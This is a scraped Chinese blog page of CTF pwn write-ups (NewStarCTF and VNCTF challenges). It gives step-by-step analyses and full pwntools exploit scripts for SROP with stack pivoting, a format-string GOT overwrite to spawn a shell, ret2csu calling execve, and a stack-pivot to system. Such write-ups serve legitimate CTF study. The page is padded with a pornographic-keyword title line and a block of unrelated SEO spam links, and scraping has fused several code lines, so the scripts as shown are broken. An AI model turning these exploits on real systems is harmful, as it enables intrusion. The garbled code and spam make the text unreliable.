中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁(yè) > news >正文

商業(yè)網(wǎng)站建設(shè)案例課程圖片優(yōu)化是什么意思

商業(yè)網(wǎng)站建設(shè)案例課程,圖片優(yōu)化是什么意思,dw網(wǎng)頁(yè)設(shè)計(jì)說(shuō)明,做網(wǎng)站商城需要什么軟件目錄 srop源碼分析exp putsorsys源碼分析exp ret2csu_1源碼分析exp traveler源碼分析exp srop 題源:[NewStarCTF 2023 公開(kāi)賽道]srop 考點(diǎn):SROP 棧遷移 源碼 首先從bss段利用 syscall 調(diào)用 write 讀出數(shù)據(jù)信息,然后調(diào)用 syscall-read向棧中…

目錄

  • srop
    • 源碼
    • 分析
    • exp
  • putsorsys
    • 源碼
    • 分析
    • exp
  • ret2csu_1
    • 源碼
    • 分析
    • exp
  • traveler
    • 源碼
    • 分析
    • exp

srop

題源:[NewStarCTF 2023 公開(kāi)賽道]srop
考點(diǎn):SROP + 棧遷移

源碼

首先從bss段利用 syscall 調(diào)用 write 讀出數(shù)據(jù)信息,然后調(diào)用 syscall-read向棧中rbp-0x30 位置讀入數(shù)據(jù),最多0x300字節(jié)。
[Tips:觀(guān)察到調(diào)用 sys_read和sys_weite 時(shí)候,eax都是0,并且 rcx 被賦值為 size 部分。則猜測(cè) rdi被當(dāng)作 rax 使用,rsi,rdx,rcx 分別賦值三個(gè)參數(shù)。]
聯(lián)想截圖_20240214200827.png
聯(lián)想截圖_20240214200841.png

分析

  1. 利用棧溢出進(jìn)行棧遷移將rbp寄存器轉(zhuǎn)到bss段高地址。
  2. 然后在返回地址處填寫(xiě)程序調(diào)用 syscall-read 處起始地址,用于向rbp-0x30地址寫(xiě)入shell,實(shí)現(xiàn)向bss地址讀入數(shù)據(jù)(二次輸入)。
  3. 接著填充0x30垃圾數(shù)據(jù)覆蓋到 rbprip地址利用syscall觸發(fā) sigreturn 。
  4. 最后布置棧中寄存器的值,調(diào)用execve(/bin/sh,0,0)執(zhí)行shell。

exp

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn_1')
#io = remote('node5.buuoj.cn',27296)
io = process('./pwn_1')
pop_rdi = 0x401203lea = 0x401171  # lea rax,[rbp-0x30]  != leave bss = 0x404050  + 0x300
io.recvuntil(b'welcome to srop!\n')
syscall = elf.symbols['syscall']frame = SigreturnFrame()  # execve(/bin/sh,0,0)
frame.rdi = 59   # "rax" = 0x3b
frame.rsi = bss - 0x30  # /bin/sh 填寫(xiě)地址為 rbp-0x30。====> "rdi"
frame.rdx = 0             #  "rsi"
frame.rcx = 0              #  "rdx"
frame.rsp = bss + 0x38  
frame.rip = syscall    io.send(b'a'*0x30 + p64(bss) + p64(lea))
io.send(b'/bin/sh\x00' + b'a'*0x30 + flat(pop_rdi,0xf,syscall) + flat(frame))# shell + buf +     srop + syscall + framme     [rdi===>"rax"]
io.interactive()

putsorsys

題源:[NewStarCTF 2023 公開(kāi)賽道]puts or system?
考點(diǎn):64位fmt + got篡改

源碼

存在格式化字符串漏洞,并且注意到已經(jīng)存在“/bin/sh”參數(shù)。
聯(lián)想截圖_20240228130502.png

分析

程序存在多次格式化字符串漏洞。
Step1格式化字符串漏洞(%s + puts_got)泄露puts函數(shù)真實(shí)地址,利用附件 libc.so 獲取 system 函數(shù)地址。
Step2:注意到每一次輸入后,調(diào)用puts函數(shù),并且把 /bin/sh 作為參數(shù),可以再次利用格式化字符串漏洞 將 puts_got 篡改為 system 地址,構(gòu)造 system(/bin/sh) 獲取shell。

exp

#kali打不通...,Xubuntu會(huì)斷(半通)
from pwn import *
context(arch='amd64', os='linux', log_level='debug')#p =process('./putsorsys')
p =remote('node5.buuoj.cn',26885)
elf =ELF('./putsorsys')
libc =ELF('./libc.so.6')got_addr =elf.got['puts']
p.sendlineafter(b'(0/1)\n',b'1')
payload =b'%9$sAAAA' +p64(got_addr)   #AAAA對(duì)齊(4+4=8) %s泄露指針指向內(nèi)存的數(shù)據(jù)
p.sendafter(b"What's it\n",payload)
p.recvuntil(b'There is my gift:\n')puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
print(hex(puts_addr))libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base +  next(libc.search(b"/bin/sh\x00"))p.sendlineafter(b'(0/1)\n',b'1')payload =fmtstr_payload(8, {got_addr:sys_addr})
p.sendlineafter(b"What's it\n",payload)
p.interactive()

ret2csu_1

題源:[NewStarCTF 2022 公開(kāi)賽道]ret2csu1
考點(diǎn):ret2csu-basic + execve函數(shù)使用

源碼

聯(lián)想截圖_20240216105046.png
聯(lián)想截圖_20240216105818.png

分析

首先程序存在棧溢出,可以覆蓋返回地址。并且給出了后門(mén)函數(shù),但是直接轉(zhuǎn)到后門(mén)函數(shù)并沒(méi)有任何作用,注意到 0x400648 地址調(diào)用了 syscall-execve ,可以利用 __libc_csu_init 函數(shù)中的gadget進(jìn)行劫持。
聯(lián)想截圖_20240216110400.png
先布置gadget并分配好寄存器參數(shù),然后劫持函數(shù)執(zhí)行 execve(/bin/cat,/bin/cat/flag,0) 即可獲取flag。查看__libc_csu_init 的匯編代碼得到結(jié)論:
r13d,r14,r15寄存器的值分別可以被復(fù)制到x86-64位程序前三個(gè)寄存器 edi,rsi,rdx中,可以構(gòu)造 execve函數(shù)的三個(gè)參數(shù)。

(雖然r13只有后八字節(jié)復(fù)制給了edi,但是經(jīng)過(guò)調(diào)試發(fā)現(xiàn)rdi前八個(gè)字節(jié)是0,因此等同于 mov r13,rdi。)

同時(shí),注意到存在/bin/cat,/flag字符串,因此構(gòu)造execve(/bin/cat,/bin/cat/flag,0)

execve(const char *filename, char *const argv[], char *const envp[]);

filename:包含準(zhǔn)備載入當(dāng)前進(jìn)程空間的新程序的路徑名。既可以是絕對(duì)路徑,又可以是相對(duì)路徑。
argv[ ] :指定了傳給新進(jìn)程的命令行參數(shù),該數(shù)組對(duì)應(yīng)于c語(yǔ)言main函數(shù)的argv參數(shù)數(shù)組,格式也相同,argv[0]對(duì)應(yīng)命令名,通常情況下該值與filename中的basename(就是絕對(duì)路徑的最后一個(gè))相同。
envp[ ]:最后一個(gè)參數(shù)envp指定了新程序的環(huán)境列表。參數(shù)envp對(duì)應(yīng)于新程序的environ數(shù)組。

圖中第二部分call指令:將r12+rbx*8 的結(jié)果作為地址來(lái)調(diào)用。
布置寄存器參數(shù):
rbx:由于第二部分mov,call下面存在add,cmp指令。如果rbx+1 != rbp,那么將會(huì)跳轉(zhuǎn),因此將rbx賦值為0。rbp賦值為1,即可避免跳轉(zhuǎn)。
r12:需要填充 數(shù)據(jù)為0x400648 的地址 來(lái)進(jìn)行調(diào)用execve。發(fā)現(xiàn):

.data:0000000000601068 48 06 40 00 00 00 00 00 gift3 dq 400648h
.data:0000000000601068 _data ends
.data:0000000000601068

因此賦值為0x601068。
【Tip:不能直接填0x400648,類(lèi)似于二級(jí)跳轉(zhuǎn)。例如調(diào)用read函數(shù)時(shí)也需要填充read的got地址而不是plt地址】
r12,r13,r14分別賦值 0x4007BB,0x601050,0
聯(lián)想截圖_20240216113059.png
聯(lián)想截圖_20240216113022.png

exp

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./ret2csu-1')
offset = 0x28
io = remote('node5.buuoj.cn',27959)
#io = process('./ret2csu-1')
pop_6 = 0x40072a
mov_3 = 0x400710p = b'a'*offset + p64(pop_6) + p64(0)+p64(1) + p64(0x601068) 
p += p64(0x4007BB) +p64(0x601050) + p64(0) + p64(mov_3)# execve(/bin/cat,/bin/cat/flag,0)
io.sendafter(b'!\n',p)
io.interactive()

traveler

題源:[VNCTF2023]Traveler
考點(diǎn):棧遷移(+抬棧)
坑點(diǎn):bss段需要足夠高地址才行。

源碼

聯(lián)想截圖_20240216221001.png
聯(lián)想截圖_20240216221010.png

分析

思路1:第一次棧溢出調(diào)用向棧中填充數(shù)據(jù)的read功能代碼,fake_rbp填充為bss段地址,然后第二次利用已有的system構(gòu)造shell,new-fake_rbp填充為bss-0x28地址,再加上leave使得程序回調(diào)執(zhí)行shell。(注意leave后rsp地址為rbp+8)
思路2:system函數(shù)的參數(shù)填充在第二次輸入的bss段,亦可觸發(fā)。
聯(lián)想截圖_20240216221456.png

exp

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('node5.buuoj.cn',29868)
#io = process('./traveler')
offset = 0x20
elf = ELF('./traveler')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']main = elf.sym['main']leave = 0x401253
bss_1 = 0x404800 #本地打通的bss地址
bss_2 = 0x404d00 # 遠(yuǎn)程打通bss地址
pop_rdi = 0x4012c3
ret = 0x40101a
read = 0x401216
p1 = b'a'*offset + p64(bss_2) + p64(read)
io.sendafter(b'u?\n',p1)
io.sendafter(b'life?\n',b'a')system = elf.sym['system']
bin = bss_2 - 0x8
p2 =  p64(pop_rdi) + p64(bin) + p64(system)  + b'/bin/sh\x00' + p64(bss_2-0x28) + p64(leave)  #思路1
io.send(p2)
io.sendafter(b'life?\n',b'a') #思路2/bin/sh\x00io.interactive()
http://www.risenshineclean.com/news/36786.html

相關(guān)文章:

  • wordpress網(wǎng)站音樂(lè)放不全百度搜索服務(wù)
  • 網(wǎng)站上的洗衣液瓶子做花瓶怎么材質(zhì)互聯(lián)網(wǎng)廣告代理商
  • wordpress云端采集插件廣州新塘網(wǎng)站seo優(yōu)化
  • 商務(wù)網(wǎng)站建設(shè)綜合實(shí)訓(xùn)信陽(yáng)網(wǎng)絡(luò)推廣公司
  • 網(wǎng)站開(kāi)發(fā)專(zhuān)業(yè)就業(yè)培訓(xùn)學(xué)校信息流優(yōu)化師沒(méi)經(jīng)驗(yàn)可以做嗎
  • 網(wǎng)站圖片有什么要求嗎長(zhǎng)春seo排名公司
  • 攀枝花 網(wǎng)站建設(shè)app拉新怎么對(duì)接渠道
  • 最好看免費(fèi)觀(guān)看高清大全城中之城上海關(guān)鍵詞優(yōu)化排名哪家好
  • 怎么知道哪家公司網(wǎng)站做的好網(wǎng)站買(mǎi)賣(mài)交易平臺(tái)
  • 網(wǎng)絡(luò)組建設(shè)計(jì)與方案網(wǎng)站seo 優(yōu)化
  • jquery 特效 網(wǎng)站網(wǎng)絡(luò)推廣公司是干什么
  • 廣西住房城鄉(xiāng)建設(shè)廳官網(wǎng)站大數(shù)據(jù)培訓(xùn)班出來(lái)能就業(yè)嗎
  • 網(wǎng)站頁(yè)面數(shù)量開(kāi)發(fā)網(wǎng)站的公司
  • 做網(wǎng)站圖片怎么弄一個(gè)自己的網(wǎng)站
  • 河北網(wǎng)站開(kāi)發(fā)費(fèi)用百度電話(huà)人工服務(wù)
  • 做門(mén)窗接活的網(wǎng)站廣告投放渠道
  • 做我女朋友好不好套路網(wǎng)站seo高級(jí)優(yōu)化技巧
  • 做局域網(wǎng)網(wǎng)站公司網(wǎng)站怎么弄
  • 家居企業(yè)網(wǎng)站建設(shè)如何豬八戒網(wǎng)接單平臺(tái)
  • 廣州 企業(yè)網(wǎng)站建設(shè)百度貼吧怎么做推廣
  • 新興建設(shè)網(wǎng)站頭條指數(shù)
  • 小型手機(jī)網(wǎng)站建設(shè)哪家好百度視頻
  • 收?qǐng)D片的網(wǎng)站企業(yè)培訓(xùn)計(jì)劃方案
  • 三亞網(wǎng)站建設(shè)介紹首頁(yè)
  • 怎么做網(wǎng)盤(pán)搜索引擎網(wǎng)站抖音怎么推廣
  • 網(wǎng)站設(shè)計(jì)第一步怎么做今日國(guó)內(nèi)新聞10則
  • 站長(zhǎng)平臺(tái)有哪些百度平臺(tái)營(yíng)銷(xiāo)軟件
  • 建筑專(zhuān)業(yè)網(wǎng)站文明seo技術(shù)教程網(wǎng)
  • wordpress 添加icp舟山百度seo
  • 網(wǎng)站右邊跳出的廣告怎么做可以推廣的軟件有哪些